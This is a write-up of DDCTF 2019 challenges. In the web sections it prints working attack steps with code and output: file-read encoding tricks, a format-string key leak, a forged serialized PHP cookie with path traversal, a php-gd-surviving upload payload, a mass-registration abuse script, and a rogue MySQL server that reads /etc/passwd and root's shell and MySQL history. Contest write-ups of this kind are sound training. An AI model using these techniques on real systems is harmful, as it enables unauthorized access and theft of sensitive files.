前言

滴滴这七天,除了两天周末,然后就是执勤,回来学校都6点多了,没什么时间做题,如果上课真的我就逃课玩了……执勤逃不了,而且很累,但是还是太菜了,有些题大佬们都是秒掉的,我也想拿实习offer!!!

比赛地址:https://ddctf.didichuxing.com/

WEB

curl http://117.51.150.246/index.php -I
HTTP/1.1 200 OK
Date: Fri, 19 Apr 2019 12:23:14 GMT
Server: Apache/2.4.7 (Unix) PHP/5.4.26
X-Powered-By: PHP/5.4.26
Refresh: 0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
Content-Type: text/html;charset=utf-8

猜测jpg后是base64编码

echo TmpZMlF6WXhOamN5UlRaQk56QTJOdz09|base64 -d | base64 -d
666C61672E6A7067

然后hex解码

py2 -c "print '666C61672E6A7067'.decode('hex')"
flag.jpg

于是构造读取index.php源码

http://117.51.150.246/index.php?jpg=J05qazJaVFkwTmpVM09ESmxOekEyT0Rjdw==

index.php

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

发现线索
https://blog.csdn.net/FengBanLiuYun/article/details/80913909

但是不是这篇文章,在https://blog.csdn.net/FengBanLiuYun/article/details/80913909

尝试访问.practice.php.swp不行,尝试practice.php.swp
img
感叹号用config替换

>>> base64.b64encode(base64.b64encode(('f1agconfigddctf.php'.encode("hex"))))
'TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ=='

f1ag!ddctf.php

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

payload:

curl http://117.51.150.246/f1ag!ddctf.php?uid=
DDCTF{436f6e67726174756c6174696f6e73}

WEB签到题

比赛那几天没做出来,cookie没有把分号复制过去,服了,burp又不会回显错误

访问index.php,发现需要授权
img
打开chrome的开发工具,看看有什么请求,发现请求了app/Auth.php
img

应该是所谓的授权了,增加didictf_username:admin请求头去访问它

curl -H "didictf_username:admin" http://117.51.158.44/app/Auth.php

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}

访问/app/fL2XID2i0Cdh.php可以读到两个关键源码文件

app/Application.php


Class Application { var $path = ''; public function response($data, $errMsg = 'success') { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret; } public function auth() { $DIDICTF_ADMIN = 'admin'; if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'); return TRUE; }else{ $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error'); exit(); } } private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } }

include 'Application.php'; class Session extends Application { //key建议为8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); } public function session_read() { if(empty($_COOKIE)) { return FALSE; } $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); return FALSE; } $session = unserialize($session); if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; } if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); } if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE; } private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } } $ddctf = new Session(); $ddctf->index();

读取文件必须要获取$eancrykey,也就是获取/config/key.txt,但是没办法读到,于是看到setcookie,利用setcookie保证cookie能过检验,然后利用sprintf函数读取eancrykey,构造%s

POST /app/Session.php HTTP/1.1
Host: 117.51.158.44
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
didictf_username:admin
Cookie:ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2265e541843d5bd646dede715babeae962%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22219.135.173.169%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A115%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.103+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D368afa448c385ad4a45287c52ffae4d4;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

nickname=%s
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/73.0.3683.103 Safari\/537.36"}

key = ‘EzblrbNS’

构造:

<?php
$eancrykey  = 'EzblrbNS';
Class Application {
    #var $session_id = "e2c07af042b24378d31a4d2682113a7f";
    var $path = '..././config/flag.txt';
    var $ip_address = "12";
    var $user_agent = "ab";
    var $session_id = "1";

}
$ddctf = new Application();
$session =  serialize($ddctf);
echo $session.PHP_EOL;
$hash = md5($eancrykey.$session);
echo urlencode($session.$hash).PHP_EOL;

#O%3A11%3A%22Application%22%3A4%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A2%3A%2212%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A2%3A%22ab%22%3Bs%3A10%3A%22session_id%22%3Bs%3A1%3A%221%22%3B%7D10e494094b46f0e2981111c39934fe85
curl -H "didictf_username:admin" --cookie "ddctf_id=O%3A11%3A%22Application%22%3A4%3 A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A2%3A%2212%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A2%3A%22ab%22%3Bs%3A10%3A%22session_id%22%3Bs%3A1%3A%221%22%3B%7D10e494094b46f0e2981111c39934fe85;" http://117.51.158.44/app/Session.php
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}
DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

Upload-IMG

上传一张256*256的图片
img

保存下来发现
img
下载下来发现php-gd处理过的,谷歌搜索了一下,发现有绕过php-gd在图片中写入字符串的方法
https://paper.seebug.org/387/

用文章里过GD处理渲染的处理脚本
修改

    $miniPayload = "phpinfo";
php jpg_payload.php 1.jpg

上传后保存下来 2.jpg
再使用

php jpg_payload.php 2.jpg

再上传
payload.png
https://raw.githubusercontent.com/wiki/imtinmin/photo/DDCTF2019/payload_2.jpg

上传getflag
img

DDCTF{B3s7_7ry_php1nf0_1df9896146759fad}

大吉大利,今晚吃鸡~

首先注册登录,买票尝试32位溢出4294967296

买票api的url是

/ctf/api/buy_ticket?ticket_price=4294967296

付款api的url是

/ctf/api/pay_ticket?bill_id=xxx

进入游戏分配idticket,移除对手需要用户的idticket

移除对手api的url是

/ctf/api/remove_robot?id=xxx&ticket=xxx

查看票的idticketurl

http://117.51.147.155:5050/ctf/api/search_ticket

思路是注册100个用户(托),然后一个个移除
写个脚本跑一下,一开始以为100个用户就够了循环1-103,结果只移除了50几个,加到200还有30几个敌人,说明id一直在撞,然后999时还剩两个

import requests
import json


url = "http://117.51.147.155:5050"
s = requests.session()
stinmin = requests.session()
stinmin.get(url+"/ctf/api/login?name=tinmin&password=12345678")  #吃鸡用户登录

def register():
    u = url + "/ctf/api/register?name=tinmin{}&password=12345678"
    for i in range(1,1400):         #疯狂注册一堆托

        r = requests.get(u.format(i))
        print(r.text)

def login():
    v = url + "/ctf/api/login?name=tinmin{}&password=12345678"
    for i in range(1,1400):
        print(v.format(i))
        r = s.get(v.format(i))

        buy()                       #买票
        get()                       #拿ticket id


def buy():
    w = url + "/ctf/api/buy_ticket?ticket_price=4294967296"
    r = s.get(w)
    bill_id = json.loads(r.text)['data'][0]['bill_id']
    pay(bill_id)
    get()

def get():
    c = "http://117.51.147.155:5050/ctf/api/search_ticket"
    r = s.get(c)
    print(r.text)
    i = json.loads(r.text)['data'][0]['id']
    ticket = json.loads(r.text)['data'][0]['ticket']
    #if i != 36 and i != 80 i != 2:
    destroy(i,ticket)

def pay(bill_id):           #付款
    #print(bill_id)
    n = url + "/ctf/api/pay_ticket?bill_id={}".format(bill_id)
    r = s.get(n)
    print(r.text)



def destroy(user_id,ticket):    #移除
    print(user_id,ticket)
    t = url + "/ctf/api/remove_robot?id={}&ticket={}".format(user_id,ticket)
    r = stinmin.get(t)

register()
login()

img

MYSQL弱口令

……赛后复现
谷歌到mysql伪造服务端读取文件的脚本:https://www.cnblogs.com/apossin/p/10127496.html

修改agent.py

return 'mysqld'

这样就能一直被认为开启mysql服务了,运行agent.pypoc.py

读取/etc/passwd

INFO:root:Conn from: ('117.51.147.155', 47188)
INFO:root:auth okay
INFO:root:want file...
INFO:root:þroot:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
dc2-user:x:1000:1000::/home/dc2-user:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
mongod:x:997:994:mongod:/var/lib/mongo:/bin/false
nginx:x:996:993:Nginx web server:/var/lib/nginx:/sbin/nologin

猜测用户为dc2-user,尝试读取/root/.bash_history

省略……
vim web2/app/main/views.py
vim /home/dc2-user/web2ᮡpp/main/views.py
vim /home/dc2-user/ctf_web_2/app/main/views.py
history 
exit
ls
pwd
history 
cat /root/.bash_history 
ls
cd ctf_web_2/
ls
cat app/main/views.py
ls
ps -aux
ps -aux | grep 5000
cat /root/.bash_history 
ls
history | grep wget

尝试读取/home/dc2-user/ctf_web_2/app/main/views.py

INFO:root:Conn from: ('117.51.147.155', 47968)
INFO:root:auth okay
INFO:root:want file...
INFO:root:}# coding=utf-8

from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64


# flag in mysql  curl@localhost database:security  table:flag

def weak_scan():

    agent_port = 8123
    result = []
    target_ip = request.args.get('target_ip')
    target_port = request.args.get('target_port')
    if not target_ip or not target_port:
        return jsonify({"code": 404, "msg": "参数不能为空", "data": []})
    if not target_port.isdigit():
        return jsonify({"code": 404, "msg": "端口必须为数字", "data": []})
    if not checkip(target_ip):
        return jsonify({"code": 404, "msg": "必须输入ip", "data": []})
    if is_inner_ipaddress(target_ip):
        return jsonify({"code": 404, "msg": "ip不能是内网ip", "data": []})
    tmp_agent_result = get_agent_result(target_ip, agent_port)
    if not tmp_agent_result[0] == 1:
    tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 404, "msg": "服务器未开启mysql", "data": result})

    tmp_result =mysql_scan(target_ip, target_port)

    if not tmp_result['Flag'] == 1:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 0, "msg": "未扫描出弱口令", "data": []})
    else:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        result.append(tmp_result)
        return jsonify({"code": 0, "msg": "服务器存在弱口令", "data": result})


def checkip(ip):
    p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
    if p.match(ip):
        return True
    else:
        return False

def curl(url):
    tmp = Popen(['curl', url, '-L', '-o', 'content.log'], stdout=PIPE)
    tmp.wait()
    result = tmp.stdout.readlines()
    return result

def get_agent_result(ip, port):

    str_port = str(port)
    url = 'http://'+ip + ':' + str_port
    curl(url)
    if not os.path.exists('content.log'):
        return (0, '未开启agent')
    with open('content.log') as f1:
        tmp_list = f1.readlines()
        response = ''.join(tmp_list)
    os.remove('content.log')
    if not 'mysqld' in response:
        return (0, response)
    else:
        return (1, response)


def ip2long(ip_addr):

    return unpack("!L", inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):

    ip = ip2long(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
            ip2long('10.0.0.0') >> 24 == ip >> 24 or \
            ip2long('172.16.0.0') >> 20 == ip >> 20 or \
            ip2long('192.168.0.0') >> 16 == ip >> 16

def mysql_scan(ip, port):

    port = int(port)
    weak_user = ['root', 'admin', 'mysql']
    weak_pass = ['', 'mysql', 'root', 'admin', 'test']
    Flag = 0
    for user in weak_user:
        for pass_wd in weak_pass:
            if mysql_login(ip,port, user, pass_wd):
                Flag = 1
                tmp_dic = {'weak_user': user, 'weak_passwd': pass_wd, 'Flag': Flag}
                return tmp_dic
            else:
                tmp_dic = {'weak_user': '', 'weak_passwd': '', 'Flag': Flag}
                return tmp_dic



def mysql_login(host, port, username, password):
    '''mysql login check'''

    try:
        conn = MySQLdb.connect(
            host=host,
            user=username,
            passwd=password,
            port=port,
            connect_timeout=1,
            )
        print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
        conn.close()
        return True
    except MySQLdb.Error, e:

        print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
        return False

发现# flag in mysql curl@localhost database:security table:flag

读取/root/.mysql_history

INFO:root:auth okay
INFO:root:want file...
INFO:root:l_HiStOrY_V2_
createuser\040'curl'@'localhost'
;
create\040user\040'curl'@'localhost'
;
GRANT\040ALL\040ON\040*.*\040TO\040'curl'@'localhost';
create\040DATABASE\040security;
use\040security
creat\040table\040flag\040(id\040int\040not\040null,\040flag\040char(256));
create\040table\040flag\040(id\040int\040not\040null,\040flag\040char(256));
create\040table\040flag\040(id\040int\040not\040null,\040flag\040char(255));
update\040flag\040\040set\040flag='DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}'\040where\040id\040=1;
select\040*\040from\040flag;
update\040flag\040\040set\040flag='DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}'\040where\040id\040=1;
select\040*\040from\040flag;
insert\040into\040flag\040(id,\040flag)\040values\040(1,\040'DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}')
;
select\040*\040from\040flag;
use\040mysql;
;
use\040security;
select\040*\040from\040flag;
exit;
DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}

MISC

北京地铁

提示:AES ECB密钥为小写字母
提示2:密钥不足位用\0补全
提示3:不要光记得隐写不看图片本身啊…

比赛没做出来,太菜了,我都看到密文了,
bmp文件一般都是考lsb隐写
img
将最低位勾选上,可以看到密文
密钥要仔细看图
img
根据提示3,发现魏公村跟别的站不一样,猜测密钥:weigongcun
钊哥AES ECB解密网站http://tool.chacuo.net/cryptaes
img

DDCTF{CD*Q23&0}

wireshark

打开数据包,先看tcp,http协议,追踪一下看看干了什么
img
img
发现上传一张upload.png,还上传了一张interesting
原始数据,搜索89504e然后提取出来两张图片
其中upload.pngtweakpng打开会报错,说明crc被修改过,随便改一下高度
img

key:gKvN4eEm

http可以看到访问了http://tools.jb51.net/aideddesign/img_add_info

img

>>> '44444354467B786F6644646B65537537717335414443515256476D35464536617868455334377D'.decode('hex')
'DDCTF{xofDdkeSu7qs5ADCQRVGm5FE6axhES47}'

REVERSE

Windows Reverse1

查壳,显示UPX壳,拿工具脱

进入函数sub_401000

unsigned int __cdecl sub_401000(const char *a1)
{
  _BYTE *v1; // ecx
  unsigned int v2; // edi
  unsigned int result; // eax
  int v4; // ebx

  v2 = 0;
  result = strlen(a1);
  if ( result )
  {
    v4 = a1 - v1;
    do
    {
      *v1 = byte_402FF8[(char)v1[v4]];
      ++v2;
      ++v1;
      result = strlen(a1);
    }
    while ( v2 < result );
  }
  return result;
}

可以看到会对输入进行替换,替换表为byte_402FF8
img

前面的字节不用管了,补齐位就行

s1 = 'F'*32 + 'F'*16 + "FEFFFFFF01000000"
s = s1.decode("hex")+"~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(',27h,'&%$#! "

a = "DDCTF{reverseME}"
flag = ''
for i in a:
    flag += chr(s.index(i))

print "DDCTF{%s}"%flag

Windows Reverse2

查壳,显示ASPack,脱壳,ida打开

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Dest; // [esp+8h] [ebp-C04h]
  char v5; // [esp+9h] [ebp-C03h]
  char v6; // [esp+408h] [ebp-804h]
  char Dst; // [esp+409h] [ebp-803h]
  char v8; // [esp+808h] [ebp-404h]
  char v9; // [esp+809h] [ebp-403h]

  v6 = 0;
  memset(&Dst, 0, 0x3FFu);
  v8 = 0;
  memset(&v9, 0, 0x3FFu);
  printf(Format);           //input code:
  scanf(aS, &v6);           //aS %s
  if ( !sub_13411F0(&v6) )  
  {
    printf(aInvalidInput);  //invalid input
    exit(0);
  }
  sub_1341240(&v6, (int)&v8);
  Dest = 0;
  memset(&v5, 0, 0x3FFu);
  sprintf(&Dest, aDdctfS, &v8);
  if ( !strcmp(&Dest, aDdctfReverse) )
    printf(aYouVeGotItS, &Dest);
  else
    printf(aSomethingWrong);
  return 0;
}

查看sub_13411F0

char __usercall sub_13411F0@<al>(const char *a1@<esi>)
{
  signed int v1; // eax
  signed int v2; // edx
  int v3; // ecx
  char v4; // al

  v1 = strlen(a1);
  v2 = v1;
  if ( v1 && v1 % 2 != 1 )
  {
    v3 = 0;
    if ( v1 <= 0 )
      return 1;
    while ( 1 )
    {
      v4 = a1[v3];
      if ( (v4 < '0' || v4 > '9') && (v4 < 'A' || v4 > 'F') )
        break;
      if ( ++v3 >= v2 )
        return 1;
    }
  }
  return 0;
}
if ( v1 && v1 % 2 != 1 )

判断是否为偶数

if ( (v4 < '0' || v4 > '9') && (v4 < 'A' || v4 > 'F') )

输入的字符串必须0-9或者A-F

进入sub_1341240

{
  signed int v2; // edi
  signed int v3; // edx
  char v4; // bl
  char v5; // al
  char v6; // al
  unsigned int v7; // ecx
  char v9; // [esp+Bh] [ebp-405h]
  char v10; // [esp+Ch] [ebp-404h]
  char Dst; // [esp+Dh] [ebp-403h]

  v2 = strlen(a1);
  v10 = 0;
  memset(&Dst, 0, 0x3FFu);
  v3 = 0;
  if ( v2 > 0 )
  {
    v4 = v9;
    do
    {
      v5 = a1[v3];
      if ( (unsigned __int8)(a1[v3] - '0') > 9u )// 判断是否0-9
      {
        if ( (unsigned __int8)(v5 - 'A') <= 5u )// 判断是否A-F
          v9 = v5 - 55;                         // 10-15
      }
      else
      {
        v9 = a1[v3] - '0';
      }
      v6 = a1[v3 + 1];
      if ( (unsigned __int8)(a1[v3 + 1] - '0') > 9u )
      {
        if ( (unsigned __int8)(v6 - 'A') <= 5u )
          v4 = v6 - 55;
      }
      else
      {
        v4 = a1[v3 + 1] - '0';
      }
      v7 = (unsigned int)v3 >> 1;               // 0 1 2 3 4 5 ……
      v3 += 2;
      *(&v10 + v7) = v4 | 16 * v9;
    }
    while ( v3 < v2 );
  }
return sub_1341000(v2 / 2, (void *)a2);
}

两个位一起转换,v9是第一位,v4是第二位,
先判断是否位0-9,不是的话,再判断是否A-F,是的话ascii码减去55
最后第二位乘与16加上第一位,数字就相当于16进制转10进制,字母我还是自己试了一下

>>'AA'.decode("hex")
\xaa
>>ord('A')
65
>>(65-55)*16+(65-55)
170
>>chr(170)
\xaa

查看sub_1341000

感觉很像base64,网上搜一段base64encode.c,确定是base64编码过程,但是编码表不同,还要将结果异或0x76

最后结果和DDCTF{reverse+}比较,相同就正确,写脚本逆

enc='reverse+'
dec1=''
table='373435323330313E3F3C3D3A3B383926272425222320212E2F2C171415121310111E1F1C1D1A1B181906070405020300010E0F0C46474445424340414E4F5D59'.decode('hex')
dec2=[]
flag=''

for i in enc:
    dec1+=chr(ord(i)^0x76)
for i in dec1:
    dec2.append(table.index(i))

print dec2

for i in range(int(len(dec2)/4)):
    a = dec2[4*i+0]
    b = dec2[4*i+1]
    c = dec2[4*i+2]
    d = dec2[4*i+3]
    flag += chr(a << 2 | b >> 4)
    flag += chr(b << 2 | c >> 4)
    flag += chr(c << 2 | d >>4 )

print "DDCTF{%s}"%flag.encode("hex").upper()
Categories: writeup

Leave a Reply

Your email address will not be published. Required fields are marked *